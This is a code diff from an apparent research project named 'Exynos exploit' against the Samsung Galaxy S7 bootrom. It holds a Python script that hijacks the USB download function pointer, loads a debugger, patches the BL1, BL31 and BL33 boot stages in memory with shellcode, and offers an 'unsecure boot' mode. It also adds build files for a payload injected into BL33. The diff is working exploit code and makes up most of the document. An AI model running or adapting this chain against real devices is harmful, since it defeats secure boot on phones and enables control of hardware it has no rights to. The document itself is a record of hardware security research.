# # Write bl31 at 0x02021800 and authenticate
|
||||||
|
|
||||||
auth_bl1(0x020c0000)
|
auth_bl1(0x020c0000)
|
||||||
|
|
||||||
# Jump to bl31
|
# Jump to bl31
|
||||||
@ -548,7 +548,7 @@ class ExynosDevice():
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
# VERY OLD
|
# VERY OLD
|
||||||
|
|
||||||
#000125b4
|
#000125b4
|
||||||
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
|
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
|
||||||
# self.cd.restore_stack_and_jump(0x00012814)
|
# self.cd.restore_stack_and_jump(0x00012814)
|
||||||
@ -572,7 +572,7 @@ class ExynosDevice():
|
|||||||
self.usb_read(0x200) # GiAs
|
self.usb_read(0x200) # GiAs
|
||||||
self.cd.arch_dbg.fetch_special_regs()
|
self.cd.arch_dbg.fetch_special_regs()
|
||||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||||
|
|
||||||
|
|
||||||
def get_ttbr0_el3(self):
|
def get_ttbr0_el3(self):
|
||||||
"""
|
"""
|
||||||
@ -607,8 +607,8 @@ class ExynosDevice():
|
|||||||
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
|
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
|
||||||
|
|
||||||
shellcode = f"""
|
shellcode = f"""
|
||||||
mov x1, lr
|
mov x1, lr
|
||||||
ret
|
ret
|
||||||
"""
|
"""
|
||||||
|
|
||||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||||
@ -619,7 +619,7 @@ class ExynosDevice():
|
|||||||
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
|
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
|
||||||
print(f'Jumped to {hex(address)} and back')
|
print(f'Jumped to {hex(address)} and back')
|
||||||
|
|
||||||
|
|
||||||
def debugger_boot(self):
|
def debugger_boot(self):
|
||||||
"""
|
"""
|
||||||
Boot into USB recovery mode using the debugger.
|
Boot into USB recovery mode using the debugger.
|
||||||
@ -682,13 +682,13 @@ class ExynosDevice():
|
|||||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||||
### Check if authentication was successful - X0 should not be 0??
|
### Check if authentication was successful - X0 should not be 0??
|
||||||
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
||||||
|
|
||||||
# BL1 is loaded, now authenticate and patch it
|
# BL1 is loaded, now authenticate and patch it
|
||||||
auth_bl1(DEBUGGER_ADDR)
|
auth_bl1(DEBUGGER_ADDR)
|
||||||
self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
|
self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
|
||||||
|
|
||||||
# Hijack ROM download function
|
# Hijack ROM download function
|
||||||
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
||||||
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
||||||
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
||||||
|
|
||||||
@ -703,11 +703,11 @@ class ExynosDevice():
|
|||||||
|
|
||||||
# And jump into BL1 to execute it
|
# And jump into BL1 to execute it
|
||||||
jump_bl1(DEBUGGER_ADDR)
|
jump_bl1(DEBUGGER_ADDR)
|
||||||
|
|
||||||
# ==== BL31 ====
|
# ==== BL31 ====
|
||||||
# Assure that the debugger is still alive
|
# Assure that the debugger is still alive
|
||||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||||
|
|
||||||
# Get current LR, and store it. Then set LR to debugger.
|
# Get current LR, and store it. Then set LR to debugger.
|
||||||
lr = self.cd.arch_dbg.state.LR
|
lr = self.cd.arch_dbg.state.LR
|
||||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||||
@ -718,7 +718,7 @@ class ExynosDevice():
|
|||||||
self.connect_device()
|
self.connect_device()
|
||||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
|
|
||||||
# Assure that the debugger is returning (obligatory assuration)
|
# Assure that the debugger is returning (obligatory assuration)
|
||||||
self.usb_read(0x200) # GiAs
|
self.usb_read(0x200) # GiAs
|
||||||
|
|
||||||
@ -726,12 +726,12 @@ class ExynosDevice():
|
|||||||
|
|
||||||
# Set LR to continue boot flow
|
# Set LR to continue boot flow
|
||||||
self.cd.restore_stack_and_jump(lr)
|
self.cd.restore_stack_and_jump(lr)
|
||||||
|
|
||||||
# Assure return to debugger
|
# Assure return to debugger
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
self.usb_read(0x200) # GiAs
|
self.usb_read(0x200) # GiAs
|
||||||
self.cd.memwrite_region(0x02031008, b"ELH")
|
self.cd.memwrite_region(0x02031008, b"ELH")
|
||||||
|
|
||||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||||
TTBR0_EL3 = 0x02035600 # Zeroed out
|
TTBR0_EL3 = 0x02035600 # Zeroed out
|
||||||
|
|
||||||
@ -743,13 +743,13 @@ class ExynosDevice():
|
|||||||
|
|
||||||
# Jump into BL31 and execute it
|
# Jump into BL31 and execute it
|
||||||
self.cd.restore_stack_and_jump(0x02024010)
|
self.cd.restore_stack_and_jump(0x02024010)
|
||||||
|
|
||||||
# Obligatory reconnect and check of debugger
|
# Obligatory reconnect and check of debugger
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
self.connect_device()
|
self.connect_device()
|
||||||
self.usb_read(0x200) # GiAs
|
self.usb_read(0x200) # GiAs
|
||||||
BL31_ra = self.cd.arch_dbg.state.LR
|
BL31_ra = self.cd.arch_dbg.state.LR
|
||||||
|
|
||||||
self.cd.arch_dbg.fetch_special_regs()
|
self.cd.arch_dbg.fetch_special_regs()
|
||||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||||
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
|
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
|
||||||
@ -787,42 +787,42 @@ class ExynosDevice():
|
|||||||
BL33_ptr = self.cd.arch_dbg.state.X0
|
BL33_ptr = self.cd.arch_dbg.state.X0
|
||||||
BL33_LR = self.cd.arch_dbg.state.LR
|
BL33_LR = self.cd.arch_dbg.state.LR
|
||||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||||
|
|
||||||
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
|
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
|
||||||
# Disable this to keep access to the debugger after senindg the next stage
|
# Disable this to keep access to the debugger after senindg the next stage
|
||||||
|
self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
|
||||||
|
|
||||||
self.cd.restore_stack_and_jump(hijacked_fun)
|
self.cd.restore_stack_and_jump(hijacked_fun)
|
||||||
|
|
||||||
# ==== Stage 5 ====
|
# ==== Stage 5 ====
|
||||||
# Sends stage 5 (BL33) but returns to debugger after sending.
|
# Sends stage 5 (BL33) but returns to debugger after sending.
|
||||||
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
|
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
|
||||||
|
|
||||||
|
# print_payload = open("/home/jonathan/projects/samsung_s7/source/screen_print/print.bin", "rb").read()
|
||||||
|
# off = stage4.find(bytes.fromhex("fd 7b bd a9 fd 03 00 91 f3 53 01 a9 d4 08 00 d0 f3 03 01 2a a0 17 00 f9"))
|
||||||
|
# stage4 = stage4[off:] + print_payload + stage4[off+len(print_payload):]
|
||||||
|
|
||||||
self.send_normal_stage(stage4)
|
self.send_normal_stage(stage4)
|
||||||
self.connect_device()
|
self.connect_device()
|
||||||
self.usb_read(0x200) # GiAs
|
self.usb_read(0x200) # GiAs
|
||||||
|
|
||||||
# # Modify something in BL33
|
# Change bootmode to SDCARD (allow normal booting, if pressing volume up)
|
||||||
print(self.cd.arch_dbg.state.print_ctx())
|
self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
|
||||||
print(self.cd.memdump_region(0x8f063710, 0x8))
|
self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))
|
||||||
self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53614d74))
|
|
||||||
|
|
||||||
# Modify USB Recovyer mode string to: NFI Patched BL33
|
|
||||||
self.cd.memwrite_region(0x8f06ab10, b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33')
|
|
||||||
print(self.cd.memdump_region(0x8f063710, 0x8))
|
|
||||||
|
|
||||||
# Print state of x30/LR on screen
|
|
||||||
self.cd.memwrite_region(0x8f01dc08, struct.pack('>I', 0x7b432c91))
|
|
||||||
|
|
||||||
|
# Jump into a different function that continues the boot flow (different than BL33_LR)
|
||||||
self.cd.restore_stack_and_jump(0x02024e5c)
|
self.cd.restore_stack_and_jump(0x02024e5c)
|
||||||
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
arg = argparse.ArgumentParser("Exynos exploit")
|
arg = argparse.ArgumentParser("Exynos exploit")
|
||||||
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||||
arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
|
arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
|
||||||
arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
|
arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
|
||||||
|
|
||||||
args = arg.parse_args()
|
args = arg.parse_args()
|
||||||
exynos = ExynosDevice()
|
exynos = ExynosDevice()
|
||||||
|
|
||||||
@ -832,7 +832,7 @@ if __name__ == "__main__":
|
|||||||
exynos.dump_memory(write=True)
|
exynos.dump_memory(write=True)
|
||||||
# exynos.usb_debug()
|
# exynos.usb_debug()
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
if args.unsecure_boot:
|
if args.unsecure_boot:
|
||||||
exynos.unsecure_boot()
|
exynos.unsecure_boot()
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
@ -846,5 +846,5 @@ if __name__ == "__main__":
|
|||||||
|
|
||||||
exynos.setup_guppy_debugger()
|
exynos.setup_guppy_debugger()
|
||||||
exynos.dumb_interact()
|
exynos.dumb_interact()
|
||||||
|
|
||||||
sys.exit(0)
|
sys.exit(0)
|
Binary file not shown.
BIN
source/ghidra-transfer/8890_bootrom_bl31_bl2_7Sep2024.bin.gzf
Normal file
BIN
source/ghidra-transfer/8890_bootrom_bl31_bl2_7Sep2024.bin.gzf
Normal file
Binary file not shown.
18
source/screen_print/Makefile
Normal file
18
source/screen_print/Makefile
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
ifeq ($(ANDROID_NDK_ROOT),)
|
||||||
|
$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20))
|
||||||
|
endif
|
||||||
|
|
||||||
|
CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang
|
||||||
|
AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar
|
||||||
|
OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy
|
||||||
|
LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd
|
||||||
|
|
||||||
|
#==================Target Samsung S7 (8890)==================
|
||||||
|
CFLAGS_SAMSUNGS7 = -Os # -Os for optimization for size
|
||||||
|
|
||||||
|
print:
|
||||||
|
$(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7) # -c compiles assembly code, and -o creates an object file (containing linking and symbol information)
|
||||||
|
$(CC) $(CFLAGS_SAMSUNGS7) -c test_print.c -o print.o # compiles test_print.c to print.o
|
||||||
|
$(LD) -T test_print.ld entry.o print.o -o print.elf --just-symbols=symbols.txt # -T for linker script, --just-symbols for symbols file
|
||||||
|
$(OBJCOPY) -O binary print.elf print.bin
|
||||||
|
|
0
source/screen_print/Readme.md
Normal file
0
source/screen_print/Readme.md
Normal file
2
source/screen_print/entry.S
Normal file
2
source/screen_print/entry.S
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
start:
|
||||||
|
b notmain
|
BIN
source/screen_print/entry.o
Normal file
BIN
source/screen_print/entry.o
Normal file
Binary file not shown.
BIN
source/screen_print/print.elf
Executable file
BIN
source/screen_print/print.elf
Executable file
Binary file not shown.
BIN
source/screen_print/print.o
Normal file
BIN
source/screen_print/print.o
Normal file
Binary file not shown.
1
source/screen_print/symbols.txt
Normal file
1
source/screen_print/symbols.txt
Normal file
@ -0,0 +1 @@
|
|||||||
|
jh_print_to_screen = 0x8f0222d0;
|
16
source/screen_print/test_print.c
Normal file
16
source/screen_print/test_print.c
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
void jh_print_to_screen(int param_1,int param_2,int param_3,int param_4,int param_5,char *param_6,
|
||||||
|
int param_7);
|
||||||
|
|
||||||
|
// uint r_log(char *fmt,...);
|
||||||
|
|
||||||
|
int notmain(char *msg, int msg_len){
|
||||||
|
// jh_print_to_screen(0x1234, 12, 0xfff, 0xfff, msg, msg_len, 2);
|
||||||
|
// volatile int a = 0;
|
||||||
|
// for(int i = 0; i < 100000; i++){
|
||||||
|
// a++;
|
||||||
|
// }
|
||||||
|
// while(1);
|
||||||
|
return 0;
|
||||||
|
}
|
14
source/screen_print/test_print.ld
Normal file
14
source/screen_print/test_print.ld
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
MEMORY {
|
||||||
|
ROM (rwx): ORIGIN = 0x8f007de8, LENGTH = 0x108
|
||||||
|
}
|
||||||
|
|
||||||
|
SECTIONS
|
||||||
|
{
|
||||||
|
. = 0x8f007de8;
|
||||||
|
.text . : {
|
||||||
|
*(.text*)
|
||||||
|
*(.data*)
|
||||||
|
*(.rodata*)
|
||||||
|
} >ROM
|
||||||
|
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user